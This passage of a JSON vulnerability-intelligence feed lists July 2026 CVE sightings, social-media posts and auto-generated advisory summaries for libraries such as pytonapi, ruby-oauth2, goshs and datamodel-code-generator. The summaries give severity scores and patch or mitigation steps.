GHSA-3735-5339-xfwx](https://github.com/poweradmin/poweradmin/security/advisories/GHSA-3735-5339-xfwx)\n- [NVD CVE-2026-54588](https://nvd.nist.gov/vuln/detail/CVE-2026-54588)\n- [CVE.org CVE-2026-54588](https://www.cve.org/CVERecord?id=CVE-2026-54588)\n- [OSV Advisory Record](https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54588.json)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54588) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-28T17:31:58.902122Z"}, {"uuid": "ef8b0d28-b330-4eae-8393-595eab4cb861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54655", "type": "published-proof-of-concept", "source": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-m34r-v34r-rf9q", "content": "", "creation_timestamp": "2026-07-28T22:35:24.952434Z"}, {"uuid": "521f0465-989e-42c0-8f21-684e813102cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54588", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrpyp3ssee2v", "content": "CVE-2026-54588 - poweradmin\nThe Poweradmin DNS tool has a security flaw that allows an attacker to take control of an account without knowing the password. This is because the tool doesn't properly check\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#poweradmin #composer #CVE #infosec", "creation_timestamp": "2026-07-28T18:04:05.824888Z"}, {"uuid": "a5adb32d-19a7-458a-9dbd-46262b1290bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54121", "type": "seen", "source": "https://bsky.app/profile/toxy4ny.bsky.social/post/3mrpzgrtfg22n", "content": "Tuesday\u2019s fuck up - this Time Windows - Certighost (CVE-2026-54121) \u2014 AD CS Domain Controller Impersonation. Research:\ngist.github.com/H0j3n/a5ef26...\nSource:\ngithub.com/aniqfakhrul/...\n\n#ad #adcs #pkinit #machineaccountquota #cve #windows #explot #cve-2026-54121 #redtem #tactics #certghost", "creation_timestamp": "2026-07-28T18:17:22.780410Z"}, {"uuid": "377887fe-9ecf-4073-840a-e1624e732fd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54635", "type": "seen", "source": "https://gist.github.com/alon710/49b30b9938ae88ab2f795a5eb6f5b0cc", "content": "# CVE-2026-54635: CVE-2026-54635: Authentication Bypass via Custom Webhook Paths in pytonapi\n\n> **CVSS Score:** 7.5\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54635\n\n## Summary\nAn authentication bypass vulnerability exists in the pytonapi library when custom paths are registered in the TonapiWebhookDispatcher. The application fails to retrieve or store secure tokens for custom paths, leading to a fail-open authorization check that allows unauthenticated remote attackers to send spoofed webhook events directly to internal handlers.\n\n## TL;DR\nUnauthenticated remote attackers can bypass webhook authorization and spoof transaction events by exploiting a fail-open design when custom registration paths are configured in the pytonapi dispatcher.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-287 (Improper Authentication)\n- **Attack Vector**: Network\n- **CVSS v3.1 Score**: 7.5 (High)\n- **Impact**: High Integrity Compromise\n- **Exploit Status**: PoC Available\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- pytonapi Webhook Dispatcher Component\n- **pytonapi**: >= 2.0.0, < 2.2.1 (Fixed in: `2.2.1`)\n\n## Mitigation\n\n- Upgrade pytonapi dependency to version 2.2.1 or newer.\n- Remove the custom 'path' argument in handler registrations to fall back to safe default suffixes.\n- Implement source IP restriction at the firewall or reverse proxy level to only allow legitimate TONAPI servers.\n\n**Remediation Steps:**\n1. Execute 'pip install --upgrade pytonapi>=2.2.1' in the target environment.\n2. Inspect source code for occurrences of @dispatcher.account_tx with a custom path argument.\n3. Deploy the updated application and monitor log endpoints for unauthorized access attempts.\n\n## References\n\n- [GitHub Security Advisory GHSA-3fcr-jvgp-7f58](https://github.com/nessshon/tonapi/security/advisories/GHSA-3fcr-jvgp-7f58)\n- [GitHub Patch Commit](https://github.com/nessshon/tonapi/commit/854222b7ee68d3fb7b4d6d899d200f388483bd86)\n- [pytonapi v2.2.1 Release Details](https://github.com/nessshon/tonapi/releases/tag/v2.2.1)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54635) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-28T18:31:38.114347Z"}, {"uuid": "0e4f8c42-5d92-47d8-b5b9-a134ad508fd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54635", "type": "published-proof-of-concept", "source": "https://github.com/nessshon/tonapi/security/advisories/GHSA-3fcr-jvgp-7f58", "content": "", "creation_timestamp": "2026-07-28T18:35:03.702723Z"}, {"uuid": "efebce45-4f82-43e1-b9bb-d06bb074868f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54588", "type": "published-proof-of-concept", "source": "https://github.com/poweradmin/poweradmin/security/advisories/GHSA-3735-5339-xfwx", "content": "", "creation_timestamp": "2026-07-28T18:35:06.103133Z"}, {"uuid": "6ebed066-aae8-49d1-ac59-25186af2611e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54603", "type": "published-proof-of-concept", "source": "https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv9", "content": "", "creation_timestamp": "2026-07-28T18:35:08.498367Z"}, {"uuid": "c3f71b1a-b11a-4455-b9a5-006929cf3b0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54332", "type": "published-proof-of-concept", "source": "https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563", "content": "", "creation_timestamp": "2026-07-28T18:35:11.073817Z"}, {"uuid": "a083479c-667b-425f-8733-51c5c2f46731", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54345", "type": "published-proof-of-concept", "source": "https://github.com/gopacket/gopacket/security/advisories/GHSA-6r28-9ppf-4hj5", "content": "", "creation_timestamp": "2026-07-28T18:35:13.473316Z"}, {"uuid": "302c4d63-a3a9-4402-b780-20e613cbe955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54635", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrq3u4srea2l", "content": "\ud83d\udfe0 CVE-2026-54635 - High (7.5)\n\npytonapi is a Python SDK for TONAPI that provides REST API, streaming, and webhook access to the ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54635/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-28T19:00:36.385763Z"}, {"uuid": "9bdd1074-9f8c-4a87-a498-0b1ca2284901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54609", "type": "seen", "source": "https://gist.github.com/alon710/543be0bac4447ae891730d56e63e4ffd", "content": "# CVE-2026-54609: CVE-2026-54609: Uncontrolled Resource Consumption and Network Amplification in QTINeon\n\n> **CVSS Score:** 8.6\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54609\n\n## Summary\nQuiet-Terminal-Interactive's QTINeon version 1.0.0 is vulnerable to uncontrolled resource consumption and relay-to-host network amplification. The reconnect request handler lacks table size constraints, rate limiting, and request deduplication, allowing unauthenticated attackers to crash the relay server and overwhelm target hosts.\n\n## TL;DR\nAn unauthenticated remote attacker can exploit the QTINeon reconnect handler to exhaust relay server memory and launch network amplification attacks against target game hosts.\n\n## Technical Details\n\n- **CWE ID**: CWE-400\n- **Attack Vector**: Network (AV:N)\n- **CVSS Score**: 8.6\n- **Scope**: Changed (S:C)\n- **Impact**: Availability (A:H)\n- **Exploit Status**: none\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- QTINeon UDP Relay Server\n- **QTINeon**: == 1.0.0 (Fixed in: `None`)\n\n## Mitigation\n\n- Enforce hard limits on the size of internal state mapping tables.\n- Implement request deduplication based on unique client identifiers.\n- Apply rate limiting to all packet-forwarding functions in the relay.\n- Enforce automated timed pruning of stale connection mappings.\n\n**Remediation Steps:**\n1. Open the QTINeon server source code files containing the reconnect logic.\n2. Locate the handleReconnectRequest function processing RECONNECT_REQUEST packets.\n3. Declare a maximum capacity limit constant (e.g., MaxPendingReconnects = 1024).\n4. Add a validation check at the beginning of the function to reject incoming packets if the size threshold is exceeded.\n5. Check if the unique client ID is already present in the map; discard duplicate requests.\n6. Integrate a background timer or polling job that sweeps and purges expired entries from the dictionary.\n\n## References\n\n- [GitHub Security Advisory (GHSA)](https://github.com/Quiet-Terminal-Interactive/QTINeon/security/advisories/GHSA-85rg-p3fr-xc2f)\n- [CVE Record on CVE.org](https://www.cve.org/CVERecord?id=CVE-2026-54609)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54609) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-28T19:31:15.469491Z"}, {"uuid": "2f0b0805-7265-4f11-b1dd-f0c1f0cc1af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54635", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrq5nfgcky2o", "content": "CVE-2026-54635 - pytonapi has a Webhook Custom Path Authentication Bypass\nCVE ID : CVE-2026-54635\n \n Published : July 28, 2026, 6:17 p.m. | 23\u00a0minutes ago\n \n Description : pytonapi is a Python SDK for TONAPI that provides REST API, streaming, and webhook access to the TON bloc...", "creation_timestamp": "2026-07-28T19:32:37.478454Z"}, {"uuid": "7fa5fb4c-a804-4232-b1dc-b6b3992a7fc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54603", "type": "seen", "source": "https://gist.github.com/alon710/76a4f64bf3e94be3974678cdc55c68d9", "content": "# CVE-2026-54603: CVE-2026-54603: Cross-Origin Credential Leakage and SSRF via Protocol-Relative Redirects in ruby-oauth2\n\n> **CVSS Score:** 8.6\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54603\n\n## Summary\nAn issue in the ruby-oauth2 gem allows unauthenticated attackers to steal OAuth access tokens or perform Server-Side Request Forgery (SSRF) via a protocol-relative URI in HTTP Location redirect headers.\n\n## TL;DR\nThe oauth2 Ruby gem leaks active Authorization bearer tokens to untrusted external hosts when following protocol-relative redirects (starting with //) and enables server-side request forgery.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-200, CWE-601\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 8.6 (High)\n- **EPSS Score**: Not Available\n- **Impact**: High (Credential Disclosure / SSRF)\n- **Exploit Status**: Proof-of-Concept\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Ruby applications using the oauth2 gem for OAuth authentication workflows\n- **oauth2**: >= 0.4.0, <= 2.0.21 (Fixed in: `2.0.22`)\n\n## Mitigation\n\n- Upgrade the oauth2 gem to version 2.0.22 or higher\n- Implement client-side header scrubbing during HTTP redirects within application code\n- Deploy network-level egress restrictions to block outbound application requests to arbitrary target IP addresses\n\n**Remediation Steps:**\n1. Open your application's Gemfile and locate the oauth2 dependency entry\n2. Modify the dependency constraint to require version >= 2.0.22\n3. Execute 'bundle update oauth2' to pull and install the patched library release\n4. Run your test suite to ensure OAuth identity provider connections remain stable under the sanitized context\n\n## References\n\n- [GitHub Security Advisory](https://github.com/ruby-oauth/oauth2/security/advisories/GHSA-pp92-crg2-gfv9)\n- [NVD CVE-2026-54603](https://nvd.nist.gov/vuln/detail/CVE-2026-54603)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54603) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-28T20:31:48.743066Z"}, {"uuid": "30e6d9da-09ce-4488-8945-20ab8efafba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/etguenni.bsky.social/post/3mrqcapz3es2t", "content": "Ich hatte gestern \u00fcber die Active Directory-Schwachstelle Certighost (CVE-2026-54121) berichtet. Heute warnt Microsoft davor.\n\nborncity.com/blog/2026/07...", "creation_timestamp": "2026-07-28T20:55:06.204333Z"}, {"uuid": "fd7399e3-ccfe-4685-b159-9c957d934f47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54656", "type": "published-proof-of-concept", "source": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-8m8r-38jm-f355", "content": "", "creation_timestamp": "2026-07-28T22:35:13.623528Z"}, {"uuid": "5c16a163-0633-4742-abbc-8ddd320de570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54766", "type": "published-proof-of-concept", "source": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-f27p-pw2p-9pr4", "content": "", "creation_timestamp": "2026-08-28T18:35:32.573723Z"}, {"uuid": "912daae4-3b02-4ac6-b40a-ef5260892103", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54690", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-954p-556p-r752", "content": "", "creation_timestamp": "2026-07-28T22:35:16.020275Z"}, {"uuid": "a5403097-2c2d-4b97-bf9c-814f8a2463c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54719", "type": "seen", "source": "https://gist.github.com/alon710/9b8006195456ffdcd967a102fe0db5d4", "content": "# CVE-2026-54719: CVE-2026-54719: Access Control List Authorization Bypass in goshs via bulk ZIP Download Route\n\n> **CVSS Score:** 7.5\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54719\n\n## Summary\nCVE-2026-54719 is a high-severity Access Control List (ACL) authorization bypass vulnerability in goshs, a lightweight HTTPS-capable server used for file sharing. The issue allows unauthenticated network attackers to completely bypass file-level and directory-level authentication mechanisms and blocklists by requesting protected resources via the bulk ZIP-download route (?bulk). This vulnerability represents a residual flaw following a partial remediation attempt for CVE-2026-40189.\n\n## TL;DR\nUnauthenticated network attackers can completely bypass directory-level basic authentication and file blocklists in goshs by requesting protected files via the ?bulk ZIP-download route. This flaw is resolved in version 2.1.1.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-862, CWE-863\n- **Attack Vector**: Network\n- **CVSS Base Score**: 7.5 (High)\n- **EPSS Score**: 0.00% (Insufficient telemetry data)\n- **Impact**: Unauthenticated arbitrary file read under the server's webroot\n- **Exploit Status**: poc\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- goshs (goshs-labs)\n- **goshs**: < 2.1.1 (Fixed in: `v2.1.1`)\n\n## Mitigation\n\n- Upgrade goshs to version 2.1.1 or newer\n- Apply global basic authentication via the server's command-line configuration arguments (-b)\n- Block bulk-download query parameters using a reverse proxy or Web Application Firewall (WAF)\n\n**Remediation Steps:**\n1. Audit all deployed goshs systems to identify instances running versions prior to 2.1.1\n2. Download and compile goshs version 2.1.1 or pull the updated release binary from the official repository\n3. If updating cannot be completed immediately, modify reverse proxy configurations to intercept and drop HTTP requests containing the '?bulk' query parameter\n4. Deploy global basic authentication configuration keys to ensure all requests undergo centralized validation before routing\n\n## References\n\n- [GHSA-rmxw-pq4x-3fvh: ACL authorization bypass via ?bulk](https://github.com/goshs-labs/goshs/security/advisories/GHSA-rmxw-pq4x-3fvh)\n- [Fix Commit: Add ACL/Blocklist verification to bulkDownload](https://github.com/goshs-labs/goshs/commit/7cf911a26ace737e1a55b7dc073e307a25f7fd1d)\n- [goshs v2.1.1 Release Notes](https://github.com/goshs-labs/goshs/releases/tag/v2.1.1)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54719) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-28T22:30:56.630790Z"}, {"uuid": "9528a3fa-caf2-4d6a-9d3e-a2c4a8ea25a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54719", "type": "published-proof-of-concept", "source": "https://github.com/goshs-labs/goshs/security/advisories/GHSA-rmxw-pq4x-3fvh", "content": "", "creation_timestamp": "2026-07-28T22:35:03.730787Z"}, {"uuid": "48c9ea06-3d60-46f6-9e3b-4c6dee21506b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54653", "type": "published-proof-of-concept", "source": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-386q-5hp3-95m9", "content": "", "creation_timestamp": "2026-07-28T22:35:08.665417Z"}, {"uuid": "55e9636c-75f3-4df0-9225-accaeec7b4b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54691", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-rfr2-mq9m-x2qx", "content": "", "creation_timestamp": "2026-07-28T22:35:29.797567Z"}, {"uuid": "de1b4444-131c-4e5e-afb4-7b97fc679c3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54755", "type": "published-proof-of-concept", "source": "https://github.com/klever-io/klever-go/security/advisories/GHSA-cgc5-v3f2-8m2v", "content": "", "creation_timestamp": "2026-08-28T18:35:39.757507Z"}, {"uuid": "0cc9263d-e43a-4f20-ab77-a1f9bf078b7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54654", "type": "published-proof-of-concept", "source": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-wjv6-jcfj-mf9r", "content": "", "creation_timestamp": "2026-07-28T22:35:44.363508Z"}, {"uuid": "0d665067-9fae-4b34-830a-80b91a92956e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54691", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrqilt74cs24", "content": "CVE-2026-54691 - datamodel-code-generator vulnerable to SSRF via --url: no host/IP validation, follows redirects\nCVE ID : CVE-2026-54691\n \n Published : July 28, 2026, 10:17 p.m. | 20\u00a0minutes ago\n \n Description : datamodel-code-generator generates Python data models from schema...", "creation_timestamp": "2026-07-28T22:48:36.068237Z"}, {"uuid": "60c19be0-ec96-4602-8436-964ac58e3d82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54757", "type": "published-proof-of-concept", "source": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-jw39-3688-r4rx", "content": "", "creation_timestamp": "2026-08-28T18:35:44.180145Z"}, {"uuid": "636b4975-798a-4cd8-ab78-34676383227d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mrqjdaleic2g", "content": "Windows Active Directory\u8a3c\u660e\u66f8\u30b5\u30fc\u30d3\u30b9\u306e\u8106\u5f31\u6027 Certighost CVE-2026-54121-AD CS\u3092\u60aa\u7528\u3057\u3066\u30c9\u30e1\u30a4\u30f3\u5168\u4f53\u3092\u638c\u63e1\u3059\u308bPoC\u516c\u958b\n\nrocket-boys.co.jp/security-mea...\n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews #cyberattack #\u8106\u5f31\u6027", "creation_timestamp": "2026-07-28T23:01:44.851870Z"}, {"uuid": "19169364-c27d-4e76-bd3a-6af42fb5788f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54690", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrqkdikp762b", "content": "CVE-2026-54690 - datamodel-code-generator vulnerable to SSRF via JSON-Schema `$ref` to HTTP URL (silent by default)\nCVE ID : CVE-2026-54690\n \n Published : July 28, 2026, 10:17 p.m. | 20\u00a0minutes ago\n \n Description : datamodel-code-generator generates Pydantic v2 models, datacla...", "creation_timestamp": "2026-07-28T23:19:44.069102Z"}, {"uuid": "72c49b99-197b-480c-a2fd-5ed5d49cf780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54653", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrqlhcj5h62q", "content": "CVE-2026-54653 - `datamodel-code-generator` vulnerable to code injection in via attacker-controlled `default_factory` schema field\nCVE ID : CVE-2026-54653\n \n Published : July 28, 2026, 10:17 p.m. | 20\u00a0minutes ago\n \n Description : datamodel-code-generator generates Pydantic v2 ...", "creation_timestamp": "2026-07-28T23:39:45.494427Z"}, {"uuid": "f621859d-c35b-4117-9d3a-2d152ee92d99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54658", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrqmavaytp2e", "content": "CVE-2026-54658 - hypequery\nClickhouse users with outdated versions (before 2.0.2) are at risk if they pass user-controlled input as query parameters. This could allow attackers to execute arbitrary SQL\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#hypequery #npm #CVE #infosec", "creation_timestamp": "2026-07-28T23:54:04.112842Z"}, {"uuid": "6113c4ad-4836-404d-84a8-29e7867a9af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54621", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrqy32ujko2l", "content": "datamodel-code-generator 0.60.1\u672a\u6e80\u3067\u3001GraphQL Union\u306edescription\u306b\u4e0d\u6b63\u306a\u30b3\u30fc\u30c9\u304c\u542b\u307e\u308c\u308b\u3068\u3001\u751f\u6210\u3055\u308c\u305fPython\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-54621 CVSS 7.8 | HIGH", "creation_timestamp": "2026-07-29T03:25:34.345308Z"}, {"uuid": "b7d83227-df3a-4a06-873a-b40c8ec1ed83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54653", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrqy5oivvq2w", "content": "datamodel-code-generator 0.17.0\uff5e0.60.2\u3067\u3001\u5165\u529b\u3055\u308c\u305f\u30c7\u30d5\u30a9\u30eb\u30c8\u5024\u304cPython\u30b3\u30fc\u30c9\u3068\u3057\u3066\u5b9f\u884c\u3055\u308c\u308b\u8106\u5f31\u6027\u3002\u751f\u6210\u3055\u308c\u305f\u30e2\u30c7\u30eb\u306e\u30a4\u30f3\u30dd\u30fc\u30c8\u6642\u306b\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u53ef\u80fd\u6027\u304c\u2026\nCVE-2026-54653 CVSS 8.8 | HIGH", "creation_timestamp": "2026-07-29T03:27:01.999960Z"}, {"uuid": "2b7f5726-45c5-4a97-a730-8f5c8ba65fa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54654", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mrqy7iat4v2y", "content": "datamodel-code-generator 0.14.1\u304b\u30890.60.2\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u306f\u3001\u30b3\u30e1\u30f3\u30c8\u5185\u306e\u6539\u884c\u7121\u52b9\u5316\u306b\u3088\u308a\u3001Python\u30b3\u30fc\u30c9\u304c\u751f\u6210\u30e2\u30c7\u30eb\u306b\u633f\u5165\u3055\u308c\u3001\u30a4\u30f3\u30dd\u30fc\u30c8\u6642\u306b\u5b9f\u884c\u3055\u308c\u308b\u8106\u5f31\u6027\u2026\nCVE-2026-54654 CVSS 7.8 | HIGH", "creation_timestamp": "2026-07-29T03:28:01.658200Z"}, {"uuid": "8c82b4f1-e43e-4085-b171-1e6aa21d6cfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54719", "type": "seen", "source": "https://gist.github.com/alon710/9b8006195456ffdcd967a102fe0db5d4", "content": "# CVE-2026-54719: CVE-2026-54719: Access Control List Authorization Bypass in goshs via bulk ZIP Download Route\n\n> **CVSS Score:** 7.5\n> **Published:** 2026-07-28\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54719\n\n## Summary\nCVE-2026-54719 is a high-severity Access Control List (ACL) authorization bypass vulnerability in goshs, a lightweight HTTPS-capable server used for file sharing. The issue allows unauthenticated network attackers to completely bypass file-level and directory-level authentication mechanisms and blocklists by requesting protected resources via the bulk ZIP-download route (?bulk). This vulnerability represents a residual flaw following a partial remediation attempt for CVE-2026-40189.\n\n## TL;DR\nUnauthenticated network attackers can completely bypass directory-level basic authentication and file blocklists in goshs by requesting protected files via the ?bulk ZIP-download route. This flaw is resolved in version 2.1.1.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-862, CWE-863\n- **Attack Vector**: Network\n- **CVSS Base Score**: 7.5 (High)\n- **EPSS Score**: 0.00% (Insufficient telemetry data)\n- **Impact**: Unauthenticated arbitrary file read under the server's webroot\n- **Exploit Status**: poc\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- goshs (goshs-labs)\n- **goshs**: < 2.1.1 (Fixed in: `v2.1.1`)\n\n## Mitigation\n\n- Upgrade goshs to version 2.1.1 or newer\n- Apply global basic authentication via the server's command-line configuration arguments (-b)\n- Block bulk-download query parameters using a reverse proxy or Web Application Firewall (WAF)\n\n**Remediation Steps:**\n1. Audit all deployed goshs systems to identify instances running versions prior to 2.1.1\n2. Download and compile goshs version 2.1.1 or pull the updated release binary from the official repository\n3. If updating cannot be completed immediately, modify reverse proxy configurations to intercept and drop HTTP requests containing the '?bulk' query parameter\n4. Deploy global basic authentication configuration keys to ensure all requests undergo centralized validation before routing\n\n## References\n\n- [GHSA-rmxw-pq4x-3fvh: ACL authorization bypass via ?bulk](https://github.com/goshs-labs/goshs/security/advisories/GHSA-rmxw-pq4x-3fvh)\n- [Fix Commit: Add ACL/Blocklist verification to bulkDownload](https://github.com/goshs-labs/goshs/commit/7cf911a26ace737e1a55b7dc073e307a25f7fd1d)\n- [goshs v2.1.1 Release Notes](https://github.com/goshs-labs/goshs/releases/tag/v2.1.1)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54719) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T00:00:29.211206Z"}, {"uuid": "f33a189c-98c3-45c3-8168-37ceae54b428", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/TTDc5m9rjxOF-FLNkY4srXBXmccnJEZ8Ua1WlC6sUt3lKgo", "content": "", 